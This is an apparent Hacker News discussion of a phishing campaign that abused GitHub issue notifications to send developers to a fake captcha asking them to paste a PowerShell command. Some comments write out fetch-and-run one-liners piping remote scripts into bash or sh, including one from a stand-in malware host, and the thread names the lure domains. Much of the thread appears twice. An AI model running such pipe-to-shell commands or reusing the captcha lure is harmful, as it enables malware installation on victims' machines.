I got a much more convincing email from PayPal recently, someone sent a quote (apparently a feature that can be used unsolicited), and set their company name to something like "PayPal need to get in touch about a your recent payment of $499.00, please call +1-....", so this is most of the text at the top because their quotes email is "<name> is sending you a quote for $xxx".
This email came from the real PayPal.com, how they haven't gotten on top of usernames like that is beyond me for a payment processor. I reported it to them but haven't heard anything back, hopefully they banned that account but they should ban all names like that.
This email honestly was formatted to look like a legit PayPal email, I have to imagine that scam will trick a lot of normal people.
Get in touch, see my bio website, if you want the email.
>This email honestly was formatted to look like a legit PayPal email,
this is why anything but plain text should be blocked in emails (besides security reasons). anybody with 5 minutes of HTML experience can create "legit looking" emails.
First, I assume the author knows the email came from github, as the screenshot does not show this very clearly. If that's the case:
Red flag #1: email links to a variation of real domain. If you don't have information on who github-scanner.com is, it is pretty safe to assume it's a scam , just because it sounds like a real website.
GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.
If this was within my first year of owning a GitHub account, I would absolutely fall for this.
It's not much different from setting up your ssh key - something that you have to do; and new users also go through this workflow by copy pasting commands that GitHub sends them.
Nobody is perfect. The more features of credibility, most likely there will be a higher percentage of conversions. But not everybody has excellent vision, is not time-pressured, and is not tired/exhausted.
There are lots of conditions that make otherwise difficult fraud targets more easy to trick.
And if it can be done at large scale / automated, then small conversion rates turn into many successful frauds (compromised accounts).
Agree, I once fell for a scam that I think I otherwise wouldn't because of string of circumstances: Being tired and stressed, it being Christmas time and I had actually ordered stuff but also because I had just upgraded iOS to the first version that put the address bar in Safari on the bottom of the screen instead of the top so I forgot to check the domain!
I've since changed the address bar back to the top…
In the end I didn't loose anything but it was a good wakeup call for sure.
Thanks for this summary. People often forget they (hopefully) have grandmas and themselves sometimes making mistakes as well for -- whoever knows what reason. Sometimes.
A few weeks ago someone opened an issue in one of my repos. In under a minute two accounts replied with links to file lockers asking the user to download and try some software to solve their issue. No doubt it was malware. I promptly deleted the comments and reported the accounts to GitHub.
I wouldn’t have fallen for such an obvious ploy, but the original asker seemed like they weren’t particularly technical, judging by the sparse GitHub history and quality of the question. I could see them perhaps falling for that if they were uncritical and too eager to try anything.
I just don't get it, how hard it could be? How expensive this could be? Because lots of times they just pay these damages to the customer, because no one knows how this very secure credit card data was compromised. This baffles me. Someone, please enlighten us, there must be a valid reason - at least from an angle.
I can understand clicking on the link while not paying attention, but I do wonder how many people who are signed up on GitHub would follow through with pasting this command. I could understand if elderly non technical people might follow up with it, but this one, I wonder what the rate is.
Just clicking on the link might be enough. Maybe you have a slightly outdated browser with a known vulnerability. Maybe you’re holding off on installing an update just to be sure it won’t break anything.
And even if everything is up to date Pwn2Own regularly shows that having a user browse to a website is enough to get root access. Thankfully most people don’t have to worry about this since they are unlikely to attract the attention of someone with that level of resources.
If I had those kinds of resources I might even put a captcha on the site that asks the user to do something incredibly stupid just to make them think they were in the clear.
Not only does it ask you to copy and paste a command in shell, but Windows apparently warns you that it will run with admin privileges.
Aside from that:
> Nowhere in the email does it say that this is a new issue that has been created, which gives the attacker all the power to establish whatever context they want for this message.
What about the non-user-controlled "(Issue #1)" in the subject line?
If there were a legitimate looking GitHub how-to page that asked me to do that, I can see myself doing it. Fortunately, I ignore all security issues on my repositories.
Well yeah, if your intention is to install software from random.club on your system, what would be the point of checking the installer script? The worst thing it can do is the same thing you want it to do.
what is the more secure way in you opinion? What is the weak link here? TLS transport? possibly compromised hosting/codebase? trust in app authors? not reading the shell script? checking a signature of some file?
I could see junior developers falling for this. Hey it's Github, it's legit right? We get security notifications every second months about some lib everyone uses etc.
"Oh look, captcha by running code, how neat!"
I don't think webpages should be able to fill your copy/paste buffer from a click without a content preview. They made it requiring a user action, such as clicking, thinking that would solve the problem but it's still too weak. That's problem number 1.
People need to stop actioning any links from emails and/or believing that any content in an email has legitimacy. It doesn't. That's problem number 2.
Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
Github might need to stop people putting links in issues without being checked by automated services that can validate the content as remotely legitimate. They're sending this stuff to people's email, don't tell me they're not aware this could be used for fishing! That's cyber security 101, in 2015.
Finally, Github, in being unable to act on the above, may need to better strip what they email to people, and essentially behave more like banks "you have a new issue in this repository..." and that's that. You then go there, there is no message, ok great. That would have taken care of this issue...
"I could see junior developers falling for this" - I can see all sorts fucking up, not just juniors. It is the way of things.
"I don't think that...". I think that you have to train your troops effectively in what is harmfull.
"Windows" - yes. I have been asked by at least two of my employees to get them away from Windows. I'll do my best. Its been a long running project but I will succeed.
I've started disabling the Run dialog for non-technical users, but unfortunately a GitHub attack targets users who likely have a real use for it sometimes.
The clipboard strategy feels like it should be easy to block too, most scammers just convince people to type a well-obscured URL into the Run dialog manually over the phone.
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.
Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
> … by 1 like in curl malware.zyx/evilscript | bash.
Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.
>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
You say it's a problem, I say it is a virtue.
We can "root" Windows because we are root, specifically a user in the Administrators group because the first user account configured by Windows Setup is always an administrator account.
This is a virtue. We can do whatever we want with the computer we own and use. This is freedom par excellence that literally every other operating system family today wishes they could do without getting shouted down.
In an era of increasingly locked down operating systems that prevent us from truly owning our computers, administering them, Windows just lets us do that. I hope to god this never changes.
>>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
> We can do whatever we want with the computer we own and use.
There is a difference between what an owner of a computer can and should be able to do, verses what an arbitrary actor can do to a computer they do not own through subterfuge. It is the responsibility of an Operating System to facilitate the former and guard against the latter.
MS Windows has a poor history of being able to do either.
Remember the old saying: With great power comes great responsibility.
Windows just lets us do anything and everything, and it's up to us how we want to secure it if at all.
Every other operating system family tries to realize security by straight up locking the user, the administrator, out of his own computer. They still get compromised, by the way.
Windows has absolutely succeeded and continues to succeed in enabling the user, including security if he so desires. This is the reason Windows became the dominant desktop OS. The others? Nope on both counts. The Linux world in particular always screams about user freedom, yet ironically it's Windows and its community that actually makes that freedom a reality.
For starters it's security theater, given everyone and their dog prefixes sudo to all commands without much thinking. There are also some who just smash in sudo -i as the first thing they ever do upon boot (guilty as charged) because they suffer RSI from typing sudo a trillion times.
There's also this impression that the operating system is just secure and you as the user are just protected like it's a law of physics. Spoiler alert, you are not and it's not a law of physics either. It's still your responsibility to secure the computer if you so desire and otherwise not do dumb shit like copypasta'ing commands from the internet.
I'm not even going to get into the politics that are package managers and repos, that's just straight bullshit that has more to do with human nature than computer science.
Speaking of politics, most of the FOSS community at large hates users using and administrators administering computers how they want. You must subscribe to the One Libre Way(tm) or you are a heathen doing it wrong. So much for freedom. The Windows community meanwhile is mostly composed of jaded engineers who are just happy to see others get stuff done and get through another day in one piece.
Windows from the start places the user at the controls with mostly no child safety locks in place (and you can remove what is there easily, eg: UAC), and with that power you have to accept that if you end up hosing the system the problem is you because Windows doesn't even pretend to really protect you.
Having the sheer power to hose Windows with a single Powershell line is what freedom is. Freedom is both delightful and horrifying.
What I am writing below I mean genuinely, without malice, and in the hope it helps dispel some of the conclusions you have expressed above, if not for Linux itself (which I do not normally use) then for other Unix operating systems such as FreeBSD[0].
> For starters it's security theater, given everyone and their dog prefixes sudo to all commands without much thinking.
Setting aside the hyperbole, such as "everyone and their dog prefixes sudo to all commands" and "most of the FOSS community at large hates users", user/group/other permissions are one part of security in depth. Excessive use of sudo is indicative of an improperly configured system or use of software which lacks understanding of the OS which runs it. Both are causes for concern.
> Windows from the start places the user at the controls with mostly no child safety locks in place ...
To continue your analogy, child safety locks exist to minimize avoidable catastrophic situations for those unable to do same.
> ... with that power you have to accept that if you end up hosing the system the problem is you because Windows doesn't even pretend to really protect you.
At first glance, this has a "victim blaming" flavour to it along the lines of "you should have known better." A more concerning implication is that this perspective does not take into consideration what happens when a blackhat attack is perpetrated.
What benefit is "the sheer power to hose Windows with a single Powershell line" when it is not you whom executes it?
> This is a virtue. We can do whatever we want with the computer we own and use.
You certainly don't need to do it with a single line of powershell though. At least, not without intentionally opting into it. For the most part on a daily basis I just want to use my computer, not modify it.
Anyway, at the very least most functionality should be sandboxed so that if someone does something without your consent, it can't do much damage. Though this wasn't the original intention, leveraging user privileges and sandboxing applications by user is an effective way to do this.
Besides what kind of moron would choose proprietary software if they wanted control of their machine? It's inherently a contradictory impulse.
Can be summarized with: Don't click on links in email.
So is github-scanner.com (and github-scanner.shop) still the same malicious party? It seems to be. Funny that their DNS is hosted by Cloudflare (who, famously, don't host anything, because they think we're all dumb). Cloudflare, who take responsibility for nothing, has no way to report this kind of abuse to them.
The domain which hosts the malware, 2x.si, both uses Cloudflare for DNS and is hosted by Cloudflare. At least it's possible to report this to Cloudflare, even though they rate limit humans and have CAPTCHAs on their abuse reporting forms.
Sigh. Thanks to Cloudflare, it's trivial these days to host phishing and malware.
Cloudflare's abuse form will not let you submit the report if you don't include a URL that currently points to their network. There're no options for phishing / scam domains for which they're the registrar and/or DNS hosting.
I haven't tested the form, but they do claim you can report abuse of the registrar with some of the options, perhaps they've changed it?
Failing that:
> If Cloudflare is listed as the registrar on an ICANN WHOIS listing, you also can email reports related to our registrar services to registrar-abuse@cloudflare.com
> So how do you not click links to confirm your email for a new account?
Fair question, but the "don't click links in email" is for emails that you don't expect. And sure, that's an unsatisfying answer because it's hard to communicate this wisdom to your grandmother.
I think the best answer is defense-in-depth. Ensure you use updated email clients, browsers, and OS, and employ a dns blocker like a pihole or equivalent public service.
For less-savvy people a device like an iPad or Chromebook can be a reasonable defense.
If I'm being honest, "don't click links in email unless you were expecting that particular email message" seems easier for grandma than "update x, y, and z, and use Pihole" unless you want to administer her network and devices. But maybe you're saying that an iPad/Chromebook can mitigate all of the above needs? A little bit.
Anyway, while I haven't heard of any cases yet, it wouldn't surprise me if senders of phishing email someday manage to deliver messages shortly after detecting some traffic (DNS lookup?) that you legitimately make with the entity the email is spoofing. Then you're expecting it, roughly.
I realized I have never deleted an issue I started but doesn't people with admin access the only with ability to delete the issues on a repo? [1]. So actually there is a trace for that issue in the repository. Same thing for Pull requests.
I got this on two org repo’s yesterday. About an hour after the email, I checked and it was gone. I wanted to report it, even though GitHub scam reports are so very unsatisfying (weeks go by, then random email about how they took some action).
One very simple measure I hope they implement is just not sending emails for unverified spam like this. I’d argue a majority of issues or comments do not need instant emails. Even one hour delay could help in combating abuse like this if they had any sort of reasonable moderation rules.
I reported spam comment and they acted in less than an hour. I reported the exact spam comment by another user in the same day and they took 3 months to act. It is a very random process.
I received one of these notifications this morning and promptly ignored it. I had to laugh because it was about this repo specifically: https://github.com/kyledrake/theftcoinjs
It's quite sad that in 2024 that HN commenters still blame the victim, especially when the original author does a great job suggesting small changes that Microsoft can make to make their products safer for their users.
OMG! I was getting similar GitHub notification emails, saying detected vulnerability in your repo, but never figured it out as fake before this news, anyway I never clicked because I'm a lazy programmer :), once it's written it's written I do rewrite the code but don't find bugs and fix in my code. :D
I don't understand whats special about this particular attack!>:( When I read the title I thought some automated GitHub emails were forged to sneakily point to a fake GitHub site or something. An obvious (for tech-savvy users) link pointing to an obvious malware (please copy and execute this code to solve the captcha.) If the people you are targeting fall for this why not send an old fashioned spam email with fake headers or via some hacked Wordpress installation? I guess using GitHub notifications is creative but in the end not much different than like sending a facebook message with a fake link, and the user getting an email notification with the message? The analysis of the malware once downloaded was certainly interesting, though!:)
This has happened for a while. In February of this year, the same attack vector was used in an attack to trick developers into thinking that they'd got a job offer from GitHub: https://www.xorlab.com/en/blog/phishing-on-github
Once they introduce that, the texts will become more varied, and links, possibly, too.
There are more possible next steps, which would make creating accounts for spamming more expensive, but they will also inconvenience well-meaning new users.
I suspect that unless the problem of malicious spam from GitHub comments becomes rather serious, acting on the case by case basis may be the correct solution.
> Once they introduce that, the texts will become more varied
I’ve said for some time that, while LLMs are varying levels of useful for a lot of people, it’s practically tailor made for spam and phishing. I can’t think of any “product-market-fit” as good as that.
For instance: Imagine combining a leak of personal data from your favorite data broker (who knew that this would come back and bite), with an LLM to bypass spam filters and perform phishing attacks with eerie believable social engineering behind it. All for next to no money.
I turned off most GitHub emails and mostly use the Notification Centre for discovering things I need to know about. It's not entirely proof against phishing this way, but it doesn't get to use email to appear more legitimate.
I've also been seeing Typeform emails coming from spam sources. Somehow people are using Typeform's positive reputation score to send emails to arbitrary emails.
Months ago I got crypto ads through a similar approach, some fake new account @-ing hundreds of users in an issue and then the issue is removed. The net effect is that the ads become unblockable in your email box (It's from GitHub!).
Maybe devs' target value in general has growing to a point where the openness of the system is more of a vulnerability than service.
Might want to change the image too, macOS recognises the link in that and makes it clickable. I’d say that’s more dangerous than modifying it in the text of the post, you could just as well include a non-clickable text link.
While we're here: what happened to the GitHub explore newsletter?
I really enjoyed this, but I've stopped receiving it for a few months now. And I don't think I unsubscribed.
One one hand, I can see the captcha is easy to fall for. On the other, nothing says "prove you aren't a machine" like "run this code that a machine could easily run."
If your method of infecting your victim is having them paste and run a random command on their terminal, software developers is probably the worst group of people to be targeting.
This is no different from installing a random package through a package manager. If you're running "curl pipe sh" because an email told you to, that's on you.
Both are examples of developer-types doing risky things, which was my point and also supports my point that developers are not exclusively better secured than non-developer types.
No it isn't. Package managers verify the cryptographically signed package. That means the package can be built on a secure server, and then if a mirror becomes malicious or gets compromised, the malicious package won't have a valid signature so the package will not be installed. Running curl and piping it into sh means that not only could a malicious mirror or compromised server execute anything they want on your computer, but they could even send a different script when you curl it into sh vs when you view it any other way, making it much harder to detect[0].
I think the npm repos would like to have a word with you. Sure glad we've never had a cryptographically signed malicious package delivered via npm install
Thats like not wearing a seatbelt because you can still be crushed by a truck. Don't let perfect be the enemy of good. Package managers prevent some attacks that are possible via curl | sh. Some other attacks are still possible. It is still better than not cryptographically verifying the package.
That's like moving the goal posts so you can still try to have a point after the fact. Your comment suggested that package manager was secure while curl | sh isn't because the package manager won't have a valid signature. That's only if the package manager was compromised. A code package that is built to be malicious will still get signed by your manager. Only now, people think they are secure because it was signed.
The tremendous number of attacks delivered via trusted package repos versus the number of widespread attacks via curl | sh (probably roughly zero) means that, theories aside, one of these is far more commonly abused than the other.
My only encounter with this is, that I am annoyed if I open web dev tools on a new browser profile/guest profile, but am interrupted in my workflow because first I have to type "allow pasting" every single time. (Why I do this quite often? To be sure to have a clean state when debugging a web app)
And all this, because some people cannot think, before they follow obscure instructions send to them by a untrusted party?
Why can't we have nice things again?
Because of abusers yes, but also because of sheep people.
You just need a handful of people to fall for it, and a population of a hundred million daily active users on GitHub means there are always a handful of people to trick.
These hackers need to work on the rest of their funnel lmao. Getting me to click the link would be easy, but running that script? Never in a million years!
If you're stupid enough to paste something off a random website (that you discovered through a random email link) into the command line (and then execute it), then you deserve what happens next. At some point the end user is to blame.
I also have no clue why any reasonable person would refer to that monstrosity as a CAPTCHA.
This is neither hijacking notifications nor sending malware. This is someone including a link in a message on a ticketing system open to the public, and then someone clicking on the link and downloading malware.
I got a much more convincing email from PayPal recently, someone sent a quote (apparently a feature that can be used unsolicited), and set their company name to something like "PayPal need to get in touch about a your recent payment of $499.00, please call +1-....", so this is most of the text at the top because their quotes email is "<name> is sending you a quote for $xxx".
This email came from the real PayPal.com, how they haven't gotten on top of usernames like that is beyond me for a payment processor. I reported it to them but haven't heard anything back, hopefully they banned that account but they should ban all names like that.
This email honestly was formatted to look like a legit PayPal email, I have to imagine that scam will trick a lot of normal people.
Get in touch, see my bio website, if you want the email.
>This email honestly was formatted to look like a legit PayPal email,
this is why anything but plain text should be blocked in emails (besides security reasons). anybody with 5 minutes of HTML experience can create "legit looking" emails.
I'd be surprised if someone looked at it.
Do people really fall for scam like that?
First, I assume the author knows the email came from github, as the screenshot does not show this very clearly. If that's the case:
Red flag #1: email links to a variation of real domain. If you don't have information on who github-scanner.com is, it is pretty safe to assume it's a scam , just because it sounds like a real website.
GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.
If this was within my first year of owning a GitHub account, I would absolutely fall for this.
It's not much different from setting up your ssh key - something that you have to do; and new users also go through this workflow by copy pasting commands that GitHub sends them.
It’s a numbers game.
Nobody is perfect. The more features of credibility, most likely there will be a higher percentage of conversions. But not everybody has excellent vision, is not time-pressured, and is not tired/exhausted.
There are lots of conditions that make otherwise difficult fraud targets more easy to trick.
And if it can be done at large scale / automated, then small conversion rates turn into many successful frauds (compromised accounts).
Agree, I once fell for a scam that I think I otherwise wouldn't because of string of circumstances: Being tired and stressed, it being Christmas time and I had actually ordered stuff but also because I had just upgraded iOS to the first version that put the address bar in Safari on the bottom of the screen instead of the top so I forgot to check the domain!
I've since changed the address bar back to the top…
In the end I didn't loose anything but it was a good wakeup call for sure.
Thanks for this summary. People often forget they (hopefully) have grandmas and themselves sometimes making mistakes as well for -- whoever knows what reason. Sometimes.
A few weeks ago someone opened an issue in one of my repos. In under a minute two accounts replied with links to file lockers asking the user to download and try some software to solve their issue. No doubt it was malware. I promptly deleted the comments and reported the accounts to GitHub.
I wouldn’t have fallen for such an obvious ploy, but the original asker seemed like they weren’t particularly technical, judging by the sparse GitHub history and quality of the question. I could see them perhaps falling for that if they were uncritical and too eager to try anything.
Email from a different domain is unfortunately quite common. Citi and PayPal both do it for some emails. Pisses me off every time.
I just don't get it, how hard it could be? How expensive this could be? Because lots of times they just pay these damages to the customer, because no one knows how this very secure credit card data was compromised. This baffles me. Someone, please enlighten us, there must be a valid reason - at least from an angle.
I can understand clicking on the link while not paying attention, but I do wonder how many people who are signed up on GitHub would follow through with pasting this command. I could understand if elderly non technical people might follow up with it, but this one, I wonder what the rate is.
Just clicking on the link might be enough. Maybe you have a slightly outdated browser with a known vulnerability. Maybe you’re holding off on installing an update just to be sure it won’t break anything.
And even if everything is up to date Pwn2Own regularly shows that having a user browse to a website is enough to get root access. Thankfully most people don’t have to worry about this since they are unlikely to attract the attention of someone with that level of resources.
If I had those kinds of resources I might even put a captcha on the site that asks the user to do something incredibly stupid just to make them think they were in the clear.
> Red flag #1: email links to a variation of real domain
It's too common, MS also does this, to be a red flag
Not only does it ask you to copy and paste a command in shell, but Windows apparently warns you that it will run with admin privileges.
Aside from that:
> Nowhere in the email does it say that this is a new issue that has been created, which gives the attacker all the power to establish whatever context they want for this message.
What about the non-user-controlled "(Issue #1)" in the subject line?
Just to let you know, even github themselves use multiple domains instead of just subdomains of github.com (see githubnext.com).
So, I wouldn't blame the victims here if the service itself does not realize why that is not such a good idea.
Yeah.. I don't like when companies do that. I usually Google the domain first to see if it's legit, but even that isn't foolproof.
Everyone has been trained for years to do this:
curl http://obscure.url?random-string | sh
If there were a legitimate looking GitHub how-to page that asked me to do that, I can see myself doing it. Fortunately, I ignore all security issues on my repositories.
Security by lack thereof
No they haven’t, they’ve been trained to do
I may not trust the owners of a random domain, but I certainly trust the owners of rustup.rs not to do anything intentionally malicious.people make a lot of noise about piping into shell, but even if the instructions were
wget random.club/rc-12-release.sh
chmod +x ./rc-12-release.sh
./rc-12-release.sh
almost nobody would actually read the script before running it
Well yeah, if your intention is to install software from random.club on your system, what would be the point of checking the installer script? The worst thing it can do is the same thing you want it to do.
Yes, which is why complaining about curl | sh is silly.
I’m not disagreeing.
Another red flag. I cannot take any project serious that has this on its documentation.
I guess you don’t think the Rust programming language is a serious project, then?
You prefer that they wrap it in an .msi file and put it on that same website? What do you think the advantages of that are?
what is the more secure way in you opinion? What is the weak link here? TLS transport? possibly compromised hosting/codebase? trust in app authors? not reading the shell script? checking a signature of some file?
or even this:
git clone http://github.com/unknown/repo.git && cd repo && npm install
Even worse:
$ svn checkout
$ ./configure
$ make
# make install
re #1: the email could link to a github pages site hosting the same malware...
re #2: it doesn't really have you typing into shell, 'just paste'
Honestly i would have typed commands in shell if "captcha" asked me for it. Just to see the scale of outcome's awfulness.
I'm almost bored enough to just start installing weird malware for research and funsies
I could see junior developers falling for this. Hey it's Github, it's legit right? We get security notifications every second months about some lib everyone uses etc.
I don't think webpages should be able to fill your copy/paste buffer from a click without a content preview. They made it requiring a user action, such as clicking, thinking that would solve the problem but it's still too weak. That's problem number 1.People need to stop actioning any links from emails and/or believing that any content in an email has legitimacy. It doesn't. That's problem number 2.
Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
Github might need to stop people putting links in issues without being checked by automated services that can validate the content as remotely legitimate. They're sending this stuff to people's email, don't tell me they're not aware this could be used for fishing! That's cyber security 101, in 2015.
Finally, Github, in being unable to act on the above, may need to better strip what they email to people, and essentially behave more like banks "you have a new issue in this repository..." and that's that. You then go there, there is no message, ok great. That would have taken care of this issue...
It seems Github needs to graduate a bit here.
"I could see junior developers falling for this" - I can see all sorts fucking up, not just juniors. It is the way of things.
"I don't think that...". I think that you have to train your troops effectively in what is harmfull.
"Windows" - yes. I have been asked by at least two of my employees to get them away from Windows. I'll do my best. Its been a long running project but I will succeed.
I've started disabling the Run dialog for non-technical users, but unfortunately a GitHub attack targets users who likely have a real use for it sometimes.
The clipboard strategy feels like it should be easy to block too, most scammers just convince people to type a well-obscured URL into the Run dialog manually over the phone.
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.
Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
> … by 1 like in curl malware.zyx/evilscript | bash.
Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.
>Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
Excuse me, but some of us prefer to let evil scripts root our machines via pure sh, thank you very much.
Glad I’m not the only one thinking about POSIX compliance!
>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
You say it's a problem, I say it is a virtue.
We can "root" Windows because we are root, specifically a user in the Administrators group because the first user account configured by Windows Setup is always an administrator account.
This is a virtue. We can do whatever we want with the computer we own and use. This is freedom par excellence that literally every other operating system family today wishes they could do without getting shouted down.
In an era of increasingly locked down operating systems that prevent us from truly owning our computers, administering them, Windows just lets us do that. I hope to god this never changes.
>>Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?
> We can do whatever we want with the computer we own and use.
There is a difference between what an owner of a computer can and should be able to do, verses what an arbitrary actor can do to a computer they do not own through subterfuge. It is the responsibility of an Operating System to facilitate the former and guard against the latter.
MS Windows has a poor history of being able to do either.
Remember the old saying: With great power comes great responsibility.
Windows just lets us do anything and everything, and it's up to us how we want to secure it if at all.
Every other operating system family tries to realize security by straight up locking the user, the administrator, out of his own computer. They still get compromised, by the way.
Windows has absolutely succeeded and continues to succeed in enabling the user, including security if he so desires. This is the reason Windows became the dominant desktop OS. The others? Nope on both counts. The Linux world in particular always screams about user freedom, yet ironically it's Windows and its community that actually makes that freedom a reality.
Once more: I hope to god this never changes.
This is a wild take. Would you mind expanding a bit on the oppressive, locked down ecosystem that’s choking the free expression of Linux users?
For starters it's security theater, given everyone and their dog prefixes sudo to all commands without much thinking. There are also some who just smash in sudo -i as the first thing they ever do upon boot (guilty as charged) because they suffer RSI from typing sudo a trillion times.
There's also this impression that the operating system is just secure and you as the user are just protected like it's a law of physics. Spoiler alert, you are not and it's not a law of physics either. It's still your responsibility to secure the computer if you so desire and otherwise not do dumb shit like copypasta'ing commands from the internet.
I'm not even going to get into the politics that are package managers and repos, that's just straight bullshit that has more to do with human nature than computer science.
Speaking of politics, most of the FOSS community at large hates users using and administrators administering computers how they want. You must subscribe to the One Libre Way(tm) or you are a heathen doing it wrong. So much for freedom. The Windows community meanwhile is mostly composed of jaded engineers who are just happy to see others get stuff done and get through another day in one piece.
Windows from the start places the user at the controls with mostly no child safety locks in place (and you can remove what is there easily, eg: UAC), and with that power you have to accept that if you end up hosing the system the problem is you because Windows doesn't even pretend to really protect you.
Having the sheer power to hose Windows with a single Powershell line is what freedom is. Freedom is both delightful and horrifying.
What I am writing below I mean genuinely, without malice, and in the hope it helps dispel some of the conclusions you have expressed above, if not for Linux itself (which I do not normally use) then for other Unix operating systems such as FreeBSD[0].
> For starters it's security theater, given everyone and their dog prefixes sudo to all commands without much thinking.
Setting aside the hyperbole, such as "everyone and their dog prefixes sudo to all commands" and "most of the FOSS community at large hates users", user/group/other permissions are one part of security in depth. Excessive use of sudo is indicative of an improperly configured system or use of software which lacks understanding of the OS which runs it. Both are causes for concern.
> Windows from the start places the user at the controls with mostly no child safety locks in place ...
To continue your analogy, child safety locks exist to minimize avoidable catastrophic situations for those unable to do same.
> ... with that power you have to accept that if you end up hosing the system the problem is you because Windows doesn't even pretend to really protect you.
At first glance, this has a "victim blaming" flavour to it along the lines of "you should have known better." A more concerning implication is that this perspective does not take into consideration what happens when a blackhat attack is perpetrated.
What benefit is "the sheer power to hose Windows with a single Powershell line" when it is not you whom executes it?
0 - https://docs.freebsd.org/en/books/handbook/introduction/
> This is a virtue. We can do whatever we want with the computer we own and use.
You certainly don't need to do it with a single line of powershell though. At least, not without intentionally opting into it. For the most part on a daily basis I just want to use my computer, not modify it.
Anyway, at the very least most functionality should be sandboxed so that if someone does something without your consent, it can't do much damage. Though this wasn't the original intention, leveraging user privileges and sandboxing applications by user is an effective way to do this.
Besides what kind of moron would choose proprietary software if they wanted control of their machine? It's inherently a contradictory impulse.
[flagged]
Can be summarized with: Don't click on links in email.
So is github-scanner.com (and github-scanner.shop) still the same malicious party? It seems to be. Funny that their DNS is hosted by Cloudflare (who, famously, don't host anything, because they think we're all dumb). Cloudflare, who take responsibility for nothing, has no way to report this kind of abuse to them.
The domain which hosts the malware, 2x.si, both uses Cloudflare for DNS and is hosted by Cloudflare. At least it's possible to report this to Cloudflare, even though they rate limit humans and have CAPTCHAs on their abuse reporting forms.
Sigh. Thanks to Cloudflare, it's trivial these days to host phishing and malware.
Cloudflare is way more responsive to abuse requests than 95% of country level DNS registrars. Having experience working with both.
95% more responsive than 0 is still 0.
I don't know how effective and quick to respond but there is a way to report malware [1]
Extracting from the page
> Which category of abuse to select > Phishing & Malware
https://www.cloudflare.com/trust-hub/reporting-abuse/
Cloudflare's abuse form will not let you submit the report if you don't include a URL that currently points to their network. There're no options for phishing / scam domains for which they're the registrar and/or DNS hosting.
I haven't tested the form, but they do claim you can report abuse of the registrar with some of the options, perhaps they've changed it?
Failing that:
> If Cloudflare is listed as the registrar on an ICANN WHOIS listing, you also can email reports related to our registrar services to registrar-abuse@cloudflare.com
So how do you not click links to confirm your email for a new account?
Rather one could use Qubes OS and only open links in disposable VMs and never enter info beyond that
Thats basically what I do when I get emails to confirm my email address for a new account
One can't always avoid clicking links can they?
> So how do you not click links to confirm your email for a new account?
Fair question, but the "don't click links in email" is for emails that you don't expect. And sure, that's an unsatisfying answer because it's hard to communicate this wisdom to your grandmother.
I think the best answer is defense-in-depth. Ensure you use updated email clients, browsers, and OS, and employ a dns blocker like a pihole or equivalent public service.
For less-savvy people a device like an iPad or Chromebook can be a reasonable defense.
If I'm being honest, "don't click links in email unless you were expecting that particular email message" seems easier for grandma than "update x, y, and z, and use Pihole" unless you want to administer her network and devices. But maybe you're saying that an iPad/Chromebook can mitigate all of the above needs? A little bit.
Anyway, while I haven't heard of any cases yet, it wouldn't surprise me if senders of phishing email someday manage to deliver messages shortly after detecting some traffic (DNS lookup?) that you legitimately make with the entity the email is spoofing. Then you're expecting it, roughly.
[flagged]
> The attacker quickly deletes the issue
I realized I have never deleted an issue I started but doesn't people with admin access the only with ability to delete the issues on a repo? [1]. So actually there is a trace for that issue in the repository. Same thing for Pull requests.
[1] https://docs.github.com/en/issues/tracking-your-work-with-is...
Maybe GitHub had already deleted it as malicious, but the email was already delivered.
I got this on two org repo’s yesterday. About an hour after the email, I checked and it was gone. I wanted to report it, even though GitHub scam reports are so very unsatisfying (weeks go by, then random email about how they took some action).
One very simple measure I hope they implement is just not sending emails for unverified spam like this. I’d argue a majority of issues or comments do not need instant emails. Even one hour delay could help in combating abuse like this if they had any sort of reasonable moderation rules.
> GitHub scam reports are so very unsatisfying (weeks go by, then random email about how they took some action).
Either you’re unlucky or I’m lucky, I’ve reported scammers to GitHub multiple times and always got a response in a couple of hours.
I reported spam comment and they acted in less than an hour. I reported the exact spam comment by another user in the same day and they took 3 months to act. It is a very random process.
Repo owners can also edit the title and text of your Issue as well.
I received one of these notifications this morning and promptly ignored it. I had to laugh because it was about this repo specifically: https://github.com/kyledrake/theftcoinjs
It's quite sad that in 2024 we still have people falling for the simplest tricks.
This is almost as easy as it was to call someone and asking them for the number of the modem on their desk and their logins back in the bad old days.
Considering the target platform I'm not overly surprised though.
It's quite sad that in 2024 that HN commenters still blame the victim, especially when the original author does a great job suggesting small changes that Microsoft can make to make their products safer for their users.
It's worth the read, he shows what they're trying to do.
Easy to be suspicious with the link alone, but its fun to see someone digging into it.
OMG! I was getting similar GitHub notification emails, saying detected vulnerability in your repo, but never figured it out as fake before this news, anyway I never clicked because I'm a lazy programmer :), once it's written it's written I do rewrite the code but don't find bugs and fix in my code. :D
I don't understand whats special about this particular attack!>:( When I read the title I thought some automated GitHub emails were forged to sneakily point to a fake GitHub site or something. An obvious (for tech-savvy users) link pointing to an obvious malware (please copy and execute this code to solve the captcha.) If the people you are targeting fall for this why not send an old fashioned spam email with fake headers or via some hacked Wordpress installation? I guess using GitHub notifications is creative but in the end not much different than like sending a facebook message with a fake link, and the user getting an email notification with the message? The analysis of the malware once downloaded was certainly interesting, though!:)
